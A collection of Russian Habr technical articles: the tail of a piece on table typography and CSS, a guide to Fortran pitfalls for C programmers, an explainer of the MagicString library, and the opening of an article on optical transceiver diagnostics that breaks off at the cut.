— по направлению чтения. То же относится к границам и линиям между строками и столбцами таблицы. Используйте их редко, а лучше никогда. Ян Чихольд отмечает: *Таблица не должна выглядеть как сетка, в которой каждое число окружено границами. Постарайтесь обойтись без каких-либо границ. Используйте их, только если без них совсем не обойтись. Вертикальные границы нужны только тогда, когда расстояние между столбцами слишком маленькое, так это может привести к ошибкам при интерпретации данных в таблице. Таблицы без вертикальных границ выглядят лучше, чем с ними, а тонкие границы смотрятся лучше толстых. **Ян Чихольд, «Ассиметричная типографика», 1967**.* Разделяйте столбцы и строки границами только если выравнивания, разрядки и объединения недостаточно, чтобы направить читателя. Если разделение границами все же необходимо, используйте светлые тона заливки. Ваша цель — выделить нужное, а не возвести преграду. Выравнивайте текст по левому краю, числа по правому, а заголовок — относительно данных в таблице ================================================================================================ Ещё раз повторимся, что таблицы создаются для того, чтобы их читали, а не просто просматривали. Поэтому выравнивайте текст в таблице так, как вы бы выровняли его в другом контексте — то есть по левому краю. Не допускайте выравнивания по ширине, оставьте текст немного «оборванным» справа, иначе расстояние между словами, растянутыми на всю ширину строки, создадут «реки» (дыры) и данные будет сложно считывать. Если правый край слишком «рваный», используйте перенос слов на новую строку. Выравнивайте числа по правому краю. Это помогает сравнивать величины, когда бегло просматриваешь таблицу сверху вниз. Чтобы ещё больше облегчить считывание информации, используйте одинаковое количество десятичных знаков. Для единообразия и облегчения восприятия, выравнивайте заголовки таблицы в соответствии с выравниванием данных в ней: если это числовые данные, то по правому краю, а если текст, то по левому. Например: ![](https://habrastorage.org/r/w1560/webt/ga/86/vi/ga86vi6bivs67_4yghvdiau4ggm.png) Выравнивайте по запятой в десятичной дроби ========================================== Не всегда получается контролировать точность данных. Иногда вместо сохранения десятичных значений числа округляются до целого. В этом случае выравнивание по правому краю не поможет бегло просмотреть содержание столбца — маленькие числа с десятичными значениями визуально кажутся большими. Выравнивайте не по правому краю, а по запятой в десятичной дроби. Это поможет читателю без труда выделить и сравнить числовые показатели в таблице. ![](https://habrastorage.org/r/w1560/webt/jp/ge/67/jpge67xamyh6hdyf1ielthzfapm.png) В HTML 4 выравнивание по запятой в десятичной дроби было теоретически возможно с помощью тега `td` и его атрибута `char`, однако на практике это свойство не поддерживалось. В HTML 5 для этих целей используется `text-align`, хотя на момент написания статьи поддержка этого свойства для выравнивания чисел в таблице не идеальна. (CSS Text Level 4 Module2) Синтаксис `text-align` следующий: в кавычки заключается символ, по которому происходит выравнивание (обычно точка или запятая), затем через пробел вводится ключевое слово, обозначающее тип выравнивания (по умолчанию это `right`). В примере ниже данные центрированы и выровнены по точке в десятичной дроби: ``` td { text-align: "." center; } ``` В данном примере данные выровнены по символам «×» и «:»: ![](https://habrastorage.org/r/w1560/webt/mb/so/bb/mbsobbgiu8nna4jrjt5n-zl1vxa.png) Используйте маюскульные (прописные) числа в таблицах с числовыми данными ======================================================================== Многие таблицы, например, финансовые отчёты или расписания, состоят преимущественно из чисел. Их основная цель — представить числовые данные с помощью столбцов, строк, или их комбинаций. Читатель может просматривать такую таблицу вертикально, искать нужную информацию или сравнивать числовые показатели. Иногда одного взгляда на столбец или строку достаточно, чтобы определить, какого рода информация представлена. Сравнивать и сопоставлять числа намного легче, если единицы, десятки и сотни выровнены вертикально. Другими словами — все цифры в числе должны быть одной ширины. Цифры одинаковой ширины включены в моноширинные шрифты, которые вполне подходят для презентации данных в таблице. Однако многие пропорциональные шрифты (то есть те, в которых 1 уже 8, а W шире I) также включают дополнительный набор моноширинных цифр. Такие цифры называют табличными. Они спроектированы иначе, чем стандартные пропорциональные. Например, у единицы (1) есть горизонтальное основание, а ноль (0) может быть несколько **у**же, чтобы лучше подстроиться под ширину выбранного числа. Табличные цифры обычно входят в маюскульныe (прописныe) и минускульные (строчные) вариации цифр. Используйте табличные прописные цифры, чтобы упростить сопоставление числовых данных в таблице. ![](https://habrastorage.org/r/w1560/webt/_i/pn/ty/_ipntysy4lhjrqmroqlwwbcmrly.png) Чтобы определить табличные прописные цифры, используйте свойство `font-variant-numeric` со значением `lining-nums` и `tabular-nums`: ``` table { font-variant-numeric: lining-nums tabular-nums; } ``` Для браузеров с требованием `font-feature-settings` используйте теги `OpenType lnum` и `tnum`. ### Пропорциональные цифры Для пропорциональных цифр установите свойство `font-variant-numeric` со значением `proportional-nums`. Для браузеров с требованием `font-feature-settings` используйте тег `OpenType pnum`. Для разделения и объединения используйте пробелы — white space ============================================================== После того, как избавились от границ, разделителей и заливки ячеек, необходимо пустить в ход «белое пространство», чтобы таблицу можно было читать. На этом этапе нужно забыть о дизайне электронных таблиц и начать думать терминами типографики и принципами гештальт-группировки. Для этого понадобится разделить данные так, чтобы каждый элемент без труда читался и рассматривался отдельно от других. Сначала удалите расстояние между ячейками с помощью `border-collapse`: ``` table { border-collapse: collapse; } ``` В стандартных HTML-таблицах смежные ячейки имеют свои границы и находятся на определённом расстоянии друг от друга. Это расстояние между ячейками сохраняется, даже если сами границы были удалены. Свойство `border-collapse` со значением `collapse` заставляет браузер убрать двойные границы на месте стыка ячеек, оставляя при этом только одну. Так как мы удаляем большинство границ в таблице, модель `border-collapse` для нас наиболее приемлема. Следующий шаг — добавьте внутренние отступы (padding) для каждой ячейки, чтобы разделить данные. Верхний отступ ячейки лучше сделать немного меньше. Это поможет визуально сбалансировать расстояние между нижними и верхними строками. Чтобы вся таблица была правильно выровнена, используйте такие же внутренние отступы у заголовков ячеек, как у ячеек с данными. Длина строки в таблицах часто короткая, поэтому и высоту строки можно уменьшить. В примере ниже мы удалили весь дополнительный межстрочный интервал, однако вам может потребоваться больше места, в зависимости от шрифта и количества текста в ячейках. ``` td, th { padding: 0.125em 0.5em 0.25em 0.5em; line-height: 1; } ``` Наиболее полезные принципы гештальт-группировки в дизайне таблиц — это принцип близости и сходства. Объединяйте похожие данные, чтобы они легче воспринимались на фоне остальной информации. Другими словами, отделяйте друг от друга сгруппированные по смыслу столбцы и строки. Плюс группировки в том, что такую таблицу проще воспринимать, а значит она читается лучше, чем таблица с неразделенными на группы столбцами и строками. Выделите похожие по значению и содержанию данные при помощи выравнивания, одинакового цвета или шрифта. Подписи к таблице ================= Мы будем подробнее говорить о типографических особенностях подписей к таблицам в главе «Как подобрать шрифт для функционального текста», но и в этой главе имеет смысл сказать пару слов об оформлении подписей. Если вы заключаете таблицу в тег `figure`, что вполне обоснованно, используйте тег `figcaption` до или после неё. Если элемент `figure` не используется, то для подписей подойдет `caption`, который ставится сразу после открывающегося тега `table` и до каких-либо табличных данных, например: ``` Imperial to metric conversion factors *Values are given to three significant figures* … … ``` Вы можете разместить подпись над таблицей или после неё, используя свойство `caption-side` и соответствующее значение `top` или `bottom`. ``` caption { caption-side: bottom; } ``` Таблица ниже содержит подпись и использует принципы гештальт-группировки, отделяя похожие данные при помощи цветных строк. ![](https://habrastorage.org/r/w1560/webt/om/36/nf/om36nfhkb5bzrmzxoejjg6latw8.png) Обратите внимание, что в этом примере десятичные числа не выровнены по запятой. Цель таблицы — не сравнение числовых величин, а определение коэффициента умножения. Поэтому числовые данные выровнены по правому краю. Не переусердствуйте с дизайном ============================== Французский писатель-авиатор Антуан де Сент-Экзюпери написал3, что «*совершенство достигается не тогда, когда уже нечего прибавить, но когда уже ничего нельзя отнять*». Не смотря на то, что эта цитата уже превратилась в клише, она верно отражает подход к дизайну таблиц. Таблица не должна выглядеть как спредшит в Excel, который сам по себе является инструментом. Таблица служит для упрощения представления данных, которые можно прочесть и усвоить. Таблицы в Excel позволяет добавить форматирование текста, стили границ и заливку ячеек, что превращает его в картинку, но никак не улучшает читабельность. Таблицы тоже могут быть красивыми, но они — не произведения искусства, и поэтому их не нужно украшать. При стилизации таблицы думайте о тех, кто будет ими пользоваться. ![](https://habrastorage.org/r/w1560/webt/br/u5/kl/bru5kllsuvdfkpcil1bgq2arfd8.png) ![](https://habrastorage.org/r/w1560/webt/oq/us/xd/oqusxdde3_k_j9wi9p2ldi5rbay.png) ![](https://habrastorage.org/r/w1560/webt/ai/pt/b_/aiptb_oduhzloim-spm1kylqn64.png) Адаптируйте таблицы под маленькие экраны ======================================== Для корректного отображения информации в таблице важен каждый миллиметр. Иногда таблица должна быть шире стандартной строки в 45−75 символов, и поэтому адаптация для маленьких экранов — непростая задача. Лучший вариант — отдельно работать с каждой таблицей, но это не всегда возможно, особенно если нужно применить единый стиль для всех таблиц из базы данных CMS. Самый очевидный способ сэкономить пространство — применить сжатый шрифт или уменьшить кегль (но не оба варианта одновременно). В любом случае, удобочитаемость таблицы не должна пострадать. ### Попробуйте наклонный шрифт для заголовков Если в вашей таблице длинные заголовки и ограниченная ширина экрана, применение наклонного шрифта поможет сэкономить пространство. ![](https://habrastorage.org/r/w1560/webt/cu/4g/ow/cu4gowxwy1usoxgedgynypiuy3g.png) Ниже пример того, как можно этого достичь в CSS с помощью свойств `transform` и `transform-origin`. Используйте абсолютное позиционирование для заголовков, это позволит менять исходную ширину столбцов — при необходимости уменьшаться вместе с данными. ``` th { transform-origin: bottom left; position: absolute; } th.degC { transform: translate(2.58em,-2em) rotate(-60deg); } th.degF { transform: translate(5.14em,-2em) rotate(-60deg); } ``` ### Добавьте к таблицам горизонтальный скроллинг Самое простое решение для адаптивной вёрстки таблиц — это позволить браузеру использовать горизонтальный скроллинг, когда часть таблицы будет вынесена за пределы экрана устройства. При этом убедитесь, что влево и вправо скроллится только таблица, а не весь текст на экране. ![](https://habrastorage.org/r/w1560/webt/hb/nn/sg/hbnnsglntcex-ge18nwvjakgbfk.png) Чтобы достичь такого эффекта, оберните таблицу в тег `figure`. ``` … ``` Ниже пример того, как с помощью CSS активировать скролл для таблицы, не затрагивая остальной текст на странице: ``` .fig-table { max-width: 100%; overflow-x: scroll; } ``` Не стоит устанавливать фиксированную ширину для таблицы: браузер сожмёт её насколько это возможно, прежде чем применять скролл. Для сохранения удобочитаемости используйте неразрывные пробелы и свойство `white-space:nowrap`. Помните, что читабельная таблица со скроллом намного лучше нечитабельной таблицы без него. ### Преобразовывайте несложные таблицы в списки Если вы работаете с небольшими таблицами и место ограничено, смело представляйте их в виде списков. Наиболее подходящие для этого таблицы — это списки со структурированными данными, например каталог сотрудников. ![](https://habrastorage.org/r/w1560/webt/l7/rg/8x/l7rg8xyk8xusxu6z88vu0y7qihu.png) В случае если и для такой таблицы места недостаточно, можно попробовать изменить её структуру. В примере ниже таблица стала более компактной в целом, она занимает больше вертикального пространства, но при этом лучше помещается в узкие экраны. ![](https://habrastorage.org/r/w1560/webt/3t/wu/r5/3twur5-toy9eduwhq1vm0yldyxg.png) Обе таблицы используют одинаковую HTML разметку. Единственное отличие — атрибут `data-title`, который применяется к каждой ячейки во втором варианте. Этот атрибут удобен тем, что он повторяет названия категорий в левом столбце (Name, Email, Title, Phone). ``` Jones, Claire | claire.jones@domain.com | Managing Director | 01234 567890 | ``` Четыре простых шага, как превратить таблицы в список с использованием медиазапросов и CSS (без JavaScript): 1. Определите ширину экрана, при которой верстка таблицы начинает сбиваться. 2. Выровняйте все элементы таблицы по вертикали, используя `display:block`. 3. Спрячьте заголовки строки все пустые ячейки. 4. Отобразите названия каждой единицы данных (не обязательно). ``` @media (max-width: 25em) { table, caption, tbody, tr, th, td { display: block; text-align: left; } thead, th:empty, td:empty { display: none; visibility: hidden; } th[data-title]:before, td[data-title]:before { content: attr(data-title) ": "; display: inline-block; width: 3.5em; } } ``` Наряду со стилями выше потребуется применить несколько дополнительных CSS-стилей, чтобы таблица не потеряла в эстетике. Данный способ впервые применил Аарон Густафсон4. ### Делая таблицы адаптивными, исходите из их целей Существует множество техник5 для создания адаптивных таблиц. Некоторые основаны только на CSS (мы упомянули две), другие — более сложные, использующие JavaScript. Что определиться с техникой, спросите себя, как и для чего пользователь будет применять таблицу. Например, таблицы для сравнения данных в колонках или строках, заслуживают особого внимания. Один из способов облегчить сравнение данных в столбцах — это спрятать незначительные поля с возможностью включить их обратно в таблицу. Эту технику популяризировала Filament Group6, используя таблицы колебания акций. ![](https://habrastorage.org/r/w1560/webt/hd/l6/jo/hdl6jo7tx92omynm_itcfn5qpui.png) ![](https://habrastorage.org/r/w1560/webt/on/g0/nk/ong0nkwvz609bhoo_wzfn3fjmjq.png) Часто таблицам не уделяют должного внимания: они плохо продуманы и неправильно свёрстаны. Адаптивность таблиц — не такая простая задача, как кажется на первый взгляд. Она во многом зависит от того, для каких целей таблицы будут использовать. Не пренебрегайте таблицами, они могут быть информативны и богаты значением и содержанием. От редакции ----------- Курсы Нетологии по теме: * офлайн-курс: «[Продуктовый дизайнер](https://netology.ru/programs/intensiv-product-design#/internship?utm_source=blog&utm_medium=747&utm_campaign=habr)» (программа создана совместно с Badoo, лучшего студента ждет оплачиваемая стажировка в Лондоне); * программа-профессия «[Fullstack-дизайнер](https://netology.ru/programs/fullstack-designer#/presentation?utm_source=blog&utm_medium=747&utm_campaign=habr)»; * онлайн-курс «[Инфографика: искусство презентации данных](https://netology.ru/programs/infografica?utm_source=blog&utm_medium=747&utm_campaign=habr)»; * видеокурс «[Основы типографики: как работать со шрифтами](https://netology.ru/courses/osnovy-tipografiki?utm_source=blog&utm_medium=747&utm_campaign=habr)». Бесплатные программы и занятия: * «[Графический дизайн: композиция, цвет, типографика](https://netology.ru/programs/graphic-design#/presentation?utm_source=blog&utm_medium=747&utm_campaign=habr)»; * «[Adobe Photoshop: основы для веб-дизайнера](https://netology.ru/programs/photoshop?utm_source=blog&utm_medium=747&utm_campaign=habr)»; * «[Adobe XD: основы для дизайнера интерфейсов](https://netology.ru/programs/adobe-xd#/presentation?utm_source=blog&utm_medium=747&utm_campaign=habr)». **Примечания к тексту:** *1. Asymmetric Typography by Jan Tschichold (1967, after 1935 original). 2. [Character-based Alignment in a Table Column](https://drafts.csswg.org/css-text-4/#character-alignment) (http://wbtyp.net/103) in the CSS Text Module Level 4. 3. Terre des Hommes (translated into English as Wind, Sand and Stars) by Antoine de Saint-Exupéry (1939). 4. ‘[Responsive Tables](http://blog.easy-designs.net/archives/responsive-tables/)’ (http://wbtyp.net/16) by Aaron Gustafson on Easy Designs blog (2013). 5. See CSS-Tricks’ ‘[Responsive Tables](https://css-tricks.com/tag/responsive-tables/)’ (http://wbtyp.net/148) for the latest options. 6. Filament Group’s ‘[Tablesaw](https://github.com/filamentgroup/tablesaw)’ (http://wbtyp.net/15) responsive table plug-ins.*
https://habr.com/ru/post/348390/
null
ru
null
# «Нежданчики» языка Фортран ![](https://habrastorage.org/r/w780q1/files/aa5/e42/273/aa5e422732fa4e359f5e1fcd94820ae2.jpg) Многие из нас, обучаясь программированию ещё в университетах или дома, делали это на языках С/С++. Конечно, всё зависит от времени, в которое начиналось наше знакомство с языками программирования. Скажем, кто-то начинал с Фортрана, другие — с Basic’a или Delphi, но стоит признать, что доля начавших свой тернистый путь программиста с С/С++ наибольшая. К чему я всё это? Когда перед нами стоит задача изучить новый язык и написать на нём код, мы часто основываемся на том, как бы я это написал на своём «базовом» языке. Сузим вопрос — если нужно написать что-то на Фортране, то мы вспоминаем, как бы это было реализовано на С и делаем по аналогии. Очередной раз столкнувшись с тонкостью языка, которая привела к абсолютно неработающему алгоритму и большой проблеме, эскалированной мне, я решил отыскать как можно больше нюансов языка Фортран (Fortran 90/95), по сравнению с С, с которыми столкнулся лично. Это своего рода «нежданчики», которые ты явно не планировал увидеть, а они бац – и всплыли! Конечно, речь не пойдёт о синтаксисе — в каждом языке он свой. Я попробую рассказать о глобальных вещах, способных изменить всё «с ног на голову». Поехали! **Передача аргументов в функции** Все мы помним, что таким кодом на С изменить значение переменной *a* в вызывающей main функции нельзя: ``` void modify_a(int a) { a = 6; } int main() { int a = 5; modify_a(a); return 0; } ``` Всё правильно – аргументы в функцию в языке С передаются по значению, таким образом изменить *a* в функции *modify\_a* не получится. Для этого нужно передать аргумент по ссылке и тогда мы будет работать с той самой *a*, переданной из вызываемой функции. Так вот, «нежданчик» номер «раз» заключается в том, что в Фортране всё наоборот! Аргументы передаются в функции по ссылке, и подобный код вполне будет изменять значение *a*: ``` a = 5 call modify_a (a) contains subroutine modify_a (a) integer a a = 6 end subroutine modify_a end ``` Думаю, что все понимают проблемы, которые могут появиться от незнания данного факта. Причем проявляться эта специфика может много где, в частности, при работе с указателями, но об этом будет отдельный разговор. **Работа с массивами** По дефолту, индексация массивов в Фортране начинается с *1*, а не с *0*, как в С. То есть *real a(10)* дает нам массив от *1* до *10*, а в С *float a[10]* идет от *0* до *9*. Тем не менее, мы можем задать массив и как *real a(0:100)* в Фортране. Кроме того, многомерные массивы хранятся в памяти в Фортране по столбцам. Таким образом обычная матрица ![](https://habrastorage.org/r/w1560/files/b28/fa8/9f6/b28fa89f60314ea7922ab0246f38b345.png) располагается в памяти так: ![](https://habrastorage.org/r/w1560/files/9b0/b2f/8e1/9b0b2f8e139c4c48b1ca653ce7e9a499.png) Не забываем об этом при работе с массивами, особенно, если передаем их в/из функции на С через библиотеки. **Необъявленные переменные** Фортран по умолчанию не будет ругаться на данные, которые мы не объявили явно, потому как здесь есть понятие неявных типов данных. Пошло это с стародавних времён, и идея заключается в том, что мы сразу можем работать с данными, а тип у них будет определяться в зависимости от первой буквы в имени – во как хитро! Попытка собрать код с компилятором С предсказуемо выдаст ошибку *‘b: undeclared identifier’*: ``` int main() { b = 5; } ``` В Фортране сработает на ура: ``` i = 5 end ``` Сколько же абсолютно разноплановых ошибок в коде может быть от этого. Поэтому, не забываем добавлять в код *IMPLICIT NONE*, запрещающее подобные «игры» с неявными объявлениями: ``` implicit none i = 5 end ``` И сразу видим ошибку: *error #6404: This name does not have a type, and must have an explicit type. [I]* Кстати, язык Фортран не требователен к регистру, поэтому переменные *a* и *A* – это одно и то же. Но это уже синтаксис, о котором я обещался не говорить. **Инициализация локальных переменных** Казалось бы, чем подобная инициализация может быть плоха: ``` real :: a = 0.0 ``` И чем она отличается от такой: ``` real a a = 0.0 ``` Неожиданный сюрприз для разработчиков на С – в Фортране есть принципиальное различие в этом! Если локальная переменная инициализируется в момент декларации, то к ней неявно применяется атрибут *SAVE*. Что это за атрибут? Если переменная объявлена как *SAVE* (явно или неявно), то она является статической, а значит инициализируется только при первом заходе в функцию. При последующих входах в функцию сохраняется предыдущее значение. И это может быть совсем не тем, что мы ожидаем. Как совет – избегать подобных инициализаций, и при необходимости использовать атрибут *SAVE* явно. Кстати, у компилятора даже есть отдельная опция *-save*, позволяющая менять настройки по умолчанию (выделение на стэке) и делать все переменные статическими (кроме случаев рекурсивных функций и тех переменных, которые явно объявлены как *AUTOMATIC*). **Указатели** Да, в Фортране тоже есть понятие указателей. Но используются они гораздо реже, потому что выделять память динамически в нем можно и без их помощи, а аргументы и так передаются по ссылке. Стоит отметить, что механизм указателей сам по себе работает в Фортране по-другому, поэтому остановлюсь подробней на этом. Здесь нельзя сделать указатель на любой объект – только на тот, который объявлен специальным образом. Например, так: ``` real, target :: a real, pointer :: pa pa => a ``` С помощью оператора *=>* мы ассоциируем указатель *pa* с объектом *a*. Не стоит пытаться выполнить операцию присваивания вместо =>. Всё успешно соберётся, но упадёт в рантайме. Так что тем, кто привык просто присваивать указатели в С придётся заставлять писать каждый раз *=>* вместо *=*. Сначала забываешь, но потом втягиваешься. Если хотим, чтобы указатель не был ассоциирован с объектом, используем *nullify(pa)* – это своего рода и инициализация указателя. Когда мы просто объявляем указатель, его статус в Фортране неопределен, и функция, проверяющая его ассоциацию с объектами (*associated(pa)*) будет работать некорректно. Кстати, почему нельзя ассоциировать указатель с любой переменной того же типа, как это делается в С? Во-первых, так захотелось в комитете по стандартизации. Шучу. Скорее всего, всё дело в ещё одном уровне защиты от потенциальных ошибок – просто так мы теперь точно не сможем связать указатель со случайной переменной, ну и подобное ограничение дает компилятору больше информации, а, следовательно, больше возможностей для оптимизации кода. Кроме того, что тип указателя и объекта должны совпадать, а сам объект должен быть объявлен с атрибутом *TARGET*, есть ещё ограничение и на размерность массивов. Скажем, если мы работаем с одномерными массивами, то и указатель должен быть объявлен соответствующим образом: ``` real, target :: b(1000) real, pointer :: pb(:) ``` Если бы массив был двумерный, то указатель бы был *pb(:,:)*. Естественно, что размер массива в указателе не задается – мы же не знаем, с каким массивом будет ассоциирован указатель. Думаю, логика понятна. После ассоциации, мы можем работать с указателем как обычно: ``` b(i) = pa*b(i+1) ``` Что то же самое, что написать *b(i) = a\*b(i+1)*. Можно и значение присвоить, например *pa = 1.2345*. Таким образом, значение у a будет *1.2345*. Интересная особенность указателей Фортрана заключается в том, что с их помощью можно работать с частью массива. Если мы написали *b => pb*, то можем работать с *1000* элементами массива *b* через указатель *pb*. Но можно написать и так: ``` pb => b(201:300) ``` В этом случае мы будем работать с массивом только из *100* элементов, а *pb(1)* – это *b(201)*. Забавно, как можно использовать функцию выделения памяти *allocate* в случае указателей. Написав *allocate(pb(20))* мы выделим дополнительно *20* элементов массива типа *real*, которые будут доступны только через указатель *pb*. Вообщем, человеку привыкшему к С, всё это будет казаться необычным. Но, если начать писать код, то достаточно быстро привыкаешь, и всё начинает казаться удобным. Разработчик, натолкнувший меня на идею написания этого блога, тоже так думал и активно работал с указателями направо и налево, создавая код, алгоритм которого использует дерево, но не учитывал одну особенность. На Фортран переписывался этот Сишный код: ``` void rotate_left(rbtree t, node n) { node r = n->right; ... ``` У структуры *node* есть поля, содержащие указатели *node\**, например *right*. В функции создается локальная переменная *r*, ей присваивается значение *n->right* и так далее и тому подобное. Реализация на Фортране получилась такой: ``` subroutine rotate_left(t, n) type(rbtree_t) :: t type(rbtree_node_t), pointer :: n type(rbtree_node_t), pointer :: r r => n%right ... ``` И вот тут, в самом начале, кроется «ошибка ошибок». Мы ассоциировали указатель *r* с *n%right*. Изменяя в дальнейшем коде *r*, мы будем менять и *n%right*, в отличие от С, где будет изменяться только локальная переменная *r*. В итоге, всё дерево превратилось непонятно во что. Выход из ситуации — ещё один локальный указатель: ``` subroutine rotate_left(t, n_arg) type(rbtree_t) :: t type(rbtree_node_t), pointer :: n_arg type(rbtree_node_t), pointer :: r type(rbtree_node_t), pointer :: n n => n_arg r => n%right ... ``` В этом случае, если мы в дальнейшем меняем ассоциацию у указателя *n*, то это никак не затронет «внешний» *n\_arg*. **Стринги** Ну и напоследок, одна маленькая особенность, попортившая огромное количество памяти в mixed приложениях (С и Фортран). Как вы думаете, в чем может быть разница при работе с стрингами в С: ``` char string[80]="test"; ``` И Фортране: ``` character(len=80) :: string string = "test" ``` Ответ легко поможет дать отладчик. В этом случае, в Фортране оставшиеся неиспользованными байты забиваются пробелами. При этом нет типичного для С символа окончания строки */0*, поэтому нужно быть предельно аккуратным, передавая стринги из Фортрана в С и обратно. Опять скажу, что для того, чтобы безопасно работать с С и Фортраном, нужно использовать специальный модуль *ISO\_C\_BINDING*, который разрешает и данное различие, и много других проблем. На этом заканчиваю свой рассказ. Теперь вы точно знаете самые важные различия между С и Фортраном, и если уж придётся написать код на последнем, я думаю, сделаете это не хуже, чем на С, правда? Ну а данный пост будет в помощь.
https://habr.com/ru/post/254235/
null
ru
null
# Что такое MagicString и настолько ли эти строки волшебные? MagicString — это малоизвестная библиотека. Не смотря на это она решает одну из насущных проблем — изменение исходного кода с использованием его структуры (AST — abstract syntax tree). В этой статье мы узнаем, что такое MagicString и такие ли уж эти строки «магические». Это поможет нам понять следующую статью в которой я расскажу, как удалось перевести документацию Angular так быстро, и как это поможет с созданием универсального переводчика как Markdown, так и файлов любого другого формата. ![](https://habrastorage.org/r/w780q1/webt/te/vs/2s/tevs2snderlng8i4ucqdjp6q2t8.jpeg) 2 недели назад я зарелизил русскоязычную документацию Angular ([angular24.ru](https://angular24.ru/)). За это время было добавлено 35 issues с правками по тексту и 2 pull request-а. Я искренне сомневался, что система, в которой ты выделяешь текст, предлагаешь перевод и автоматически презаполняется issue на GitHub, будет работать. Но crowdsourcing работает! :) Подробнее об этом можно узнать из [этой статьи](https://habr.com/ru/post/499852/). После релиза один из самых задаваемых вопросов был: «А зачем?». Вопрос совершенно правильный, но чтобы на него ответить, нужно сначало понять, что такое MagicString, как он работает и чем он полезен. Предоложим, что у нас есть простой исходный код: ``` const a = 1; ``` Мы хотим заменить *const* на *var*. Самое простое решение — заменить const на var с помощью обычного *String.prototype.replace*. И для данной задачи это, скорее всего, самое правильное решение. Но что если нам нужно заменить const на var только в глобальной области видимости? При этом не заменять их внутри функций? Можно, конечно, придумать более сложную регулярку или написать хитрый код, но есть более маштабируемый и гибкий способ. Мы можем с помощью парсеров получить AST — Abstract Syntax Tree. Если интересно, что из себя представляет AST, то зайдите на [astexplorer.net](https://astexplorer.net/). По сути это дерево которое в точности отображает структуру вашего кода. Дальше у каждой из Nodes в этом AST есть **start** и **end** индексы, указывающие на позиции данных элементов в исходном коде. Зная эти координаты и имея под рукой структуру документа, мы может делать сложные замены и перестановки с сохранением структуры документа. ![](https://habrastorage.org/webt/sr/ox/o-/sroxo-of0k9wyxj-e8zdd-3rebe.gif) Обычно замена происходит с помощью дизайн паттерна *visitor* и нескольких *helpers*, которые обычно оборачиваются в одну библиотеку, которую можно назвать «transformer API». Для каждого парсера есть свой «transformer API». Такие библиотеки очень удобны в работе, но у них есть несколько проблем. Одна из них — производительность. Так как каждая (ну почти каждая) Node в AST дереве содержит координаты, то при изменении 1 ноды нам нужно зачастую обновить координаты для всего остального дерева. Тут вы можете поспорить, что можно обойтись малой кровью — не обновлять координаты везде, а просто отрендерить AST обратно в текст на основе структуры. Но тут есть 1 проблема: вы сразу же потеряете форматирование оригинального текста, что противоречит нашей задаче — заменить const на var в существующей строке. По факту мы получим новую строку с новым форматированием. И если для маленькой строки это не проблема, то представьте файл из 1000 строк, в котором полностью изменилось форматированние из-за замены *const* на *var*. Звучит не очень. ![](https://habrastorage.org/webt/9c/f4/0c/9cf40cjrgwepibssksrrwry2dw8.gif) И тут на помощь приходит магия MagicString. Впервые я узнал об их существовании из проекта Rich Harris, который назывался [butternut](https://github.com/Rich-Harris/butternut). Butternut — это минификатор JavaScript. Заявлялось, что butternut быстрее UglifyJS в **3 раза** и Babili — **в 10-15 раз**. Забегу вперед и скажу, что проект накрылся медным тазом как минимум 3 года назад. Но еще тогда меня заинтриговал секрет его производительности. Это был MagicString. Давайте взглянем на работу с MagicString: ``` var MagicString = require( 'magic-string' ); var s = new MagicString( 'const a = 1; const b = 2;' ); s.overwrite( 0, 5, 'var' ); s.toString(); // 'var a = 1; const b = 2;' // другие операции ``` Алгоритм работы MagicString очень прост: мы оборачиваем исходную строку в объект, в котором не напрямую применяем изменения строки, а складываем координаты и то, что нужно сделать, в массив на будущее. И только когда кто-то захочет получить результирующую строку, мы начинаем 1 за 1 выполнять накопленные операции. К примеру: 1. Мы заменили const на var, начиная с индекса 0 и заканчивая индексом 5 2. Мы знаем, что все последующие замены должны иметь index на 2 меньше (var меньше const на 2 символа, строка короче) 3. Мы обновляем координаты всех операций 4. Применяем следующую операцию и т.д. ![](https://habrastorage.org/webt/fy/us/kz/fyuskzc54fgvtkxeuwbldzpp2xq.gif) Все выглядит довольно просто. Но почему MagicString быстрее? Ответ довольно простой: количество операций, которые мы производим над нашим деревом, значительно меньше, чем количество AST нод. Не говоря уже о количестве памяти, необходимой для AST и о том, что Tree Traversal (путешествие по дереву) не бесплатная операция, а O(n+m) ![](https://habrastorage.org/webt/b8/5b/jw/b85bjw9enaiibwd0vo3mbmbk198.gif) А если я готов подождать дополнительные полчаса? И тут вступает второй плюс MagicString. Каждый парсер изобретает свое API для трансформации. И это еще очень хорошо, если такое API есть (далеко не каждый парсер его предоставляет), очень часто мы остаемся без возможности нормально заменять исходный текст с использованием AST. А вот MagicString — это единое универсальное API для изменения исходной строки. Не важно, каким парсером или комбинацией парсеров вы пользовались. С помощью MagicString вы можете одинаково работать с любым AST. ![](https://habrastorage.org/webt/63/7v/jf/637vjfnual-mzplhm5ligr1u3bs.gif) Надеюсь вас аинтересовала MagicString. В следующей статье я расскажу о двойном MagicString и о том, как можно сделать универсальный переводчик Markdown документов. Подписывайтесь на мой Telegram канал [@obenjiro\_notes](https://t.me/obenjiro_notes) и Twitter [obenjiro](https://twitter.com/obenjiro), чтобы не пропустить следующие статьи по теме и много всего другого интересного.
https://habr.com/ru/post/502760/
null
ru
null
# Диагностика и перепрошивка оптических трансиверов ![](https://habrastorage.org/r/w1560/webt/qi/ib/cx/qiibcxjat9vwnrfyxxg0ttfg_-4.png) Серверное сетевое оборудование всегда проектируется с расчетом на длительную и бесперебойную работу. Трансиверы, позволяющие передавать данные с высокими скоростями по оптическому волокну, не исключение. Тем не менее, как и любое другое оборудование, трансиверы могут начать сбоить или работать некорректно. Сегодня мы расскажем о диагностике оптических трансиверов в случае фиксирования каких-либо проблем или перед сдачей в эксплуатацию mission-critical сервисов. Для начала стоит понимать, что оптический трансивер — достаточно сложное устройство с EEPROM-памятью, собственным процессором, лазерным диодом для передачи и фотодетектором для приема. Разумеется, полное внутреннее устройство значительно более сложное, но мы не станем его рассматривать в рамках этой статьи. Важно лишь понимать, что у любого оптического трансивера есть несколько потенциальных точек отказа, связанных как с «физикой», так и с программным обеспечением. ![](https://habrastorage.org/r/w1560/webt/7i/ab/kg/7iabkggobq5wuxv9zxcexxqnr2o.png) Выход из строя оптического трансивера чаще всего не происходит мгновенно. Самой уязвимой частью является лазерный диод, который требует соблюдения очень точных параметров электропитания и может сильно нагреваться во время работы. Чтобы отслеживать эти показатели, в трансиверы встраивают механизм самодиагностики DDM (Digital Diagnostics Monitoring). Некоторые вендоры используют собственные обозначения, например, в трансиверах Cisco этот механизм называется DOM (Digital Optical Monitoring), а у трансиверов Zyxel — DDMI (Digital Diagnostic Monitoring Interface). Интересно, что в целом можно провести параллель между DDM и S.M.A.R.T. Обе эти технологии обеспечивают считывание показателей и могут выдавать сигнал тревоги в случае превышения определенных пороговых значений. На 